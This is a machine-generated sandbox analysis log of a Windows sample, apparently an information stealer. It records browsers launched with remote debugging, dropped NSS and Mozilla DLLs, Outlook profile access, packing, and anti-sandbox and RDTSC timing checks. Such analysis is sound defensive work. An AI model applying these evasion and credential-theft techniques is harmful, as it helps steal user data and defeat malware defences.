Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,10774180841234704449,9876674559022460149,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2720 --field-trial-handle=2660,i,2276085611420844755,11736436464237843795,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4188 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,10774180841234704449,9876674559022460149,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2720 --field-trial-handle=2660,i,2276085611420844755,11736436464237843795,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4188 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2108928 > 1048576

Source: file.exe

Static PE information: Raw size of xjxegmjo is bigger than: 0x100000 < 0x197e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.2155476235.000000000558B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2701244031.000000006CD21000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.2155476235.000000000558B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2701244031.000000006CD21000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xjxegmjo:EW;vijlqmwu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xjxegmjo:EW;vijlqmwu:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA23480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA23480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x20e6ce should be: 0x20f5b7

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xjxegmjo
Source: file.exe	Static PE information: section name: vijlqmwu
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA5B536 push ecx; ret

0_2_6CA5B549

Source: file.exe

Static PE information: section name: xjxegmjo entropy: 7.952984042619101

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA855F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CA855F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E07D second address: E0E087 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F60C4EB3776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E087 second address: E0E094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E094 second address: E0E09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70F10 second address: F70F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F60C4BB5406h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F578 second address: F7F591 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F60C4EB377Bh 0x00000008 pop esi 0x00000009 jg 00007F60C4EB377Eh 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F591 second address: F7F59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FB30 second address: F7FB34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FB34 second address: F7FB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FB3D second address: F7FB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FCB5 second address: F7FCB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FCB9 second address: F7FCCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007F60C4EB3776h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FCCA second address: F7FCEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB540Dh 0x00000009 popad 0x0000000a push ecx 0x0000000b jg 00007F60C4BB5406h 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FCEA second address: F7FD22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F60C4EB3783h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c ja 00007F60C4EB3776h 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F60C4EB377Ch 0x00000019 push edi 0x0000001a pop edi 0x0000001b je 00007F60C4EB3776h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8238A second address: F823A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 je 00007F60C4BB540Ah 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
